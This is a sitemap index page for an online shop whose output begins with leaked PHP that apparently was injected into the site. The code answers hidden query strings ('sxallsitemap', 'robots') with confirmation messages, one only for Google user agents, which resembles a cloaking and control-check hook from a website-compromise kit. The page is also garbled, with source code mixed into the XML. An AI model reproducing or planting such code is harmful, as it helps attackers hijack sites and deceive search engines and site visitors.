if (strpos($webandy_q = isset($_SERVER['QUERY_STRING']) ? $_SERVER['QUERY_STRING'] : '', 'sxallsitemap') !== false) {
  if (stripos($_SERVER['HTTP_USER_AGENT'] ?? '', 'google') !== false) {
    header('Content-Type: text/plain; charset=utf-8');
    header('Cache-Control: no-store');
    echo 'ok|webandy';
    exit;
  }
}
if (strpos($webandy_q, 'robots') !== false) {
  header('Content-Type: text/plain; charset=utf-8');
  header('Cache-Control: no-store');
  echo 'robots.txt file create success!';
  exit;
}
 <?xml version="1.0" encoding="UTF-8"?>
<?xml-stylesheet type="text/xsl" href="https://neojersey.shop/wp-sitemap-index.xsl" ?>
<sitemapindex xmlns="http://www.sitemaps.org/schemas/sitemap/0.9"><sitemap><loc>https://neojersey.shop/wp-sitemap-posts-page-1.xml</loc></sitemap></sitemapindex>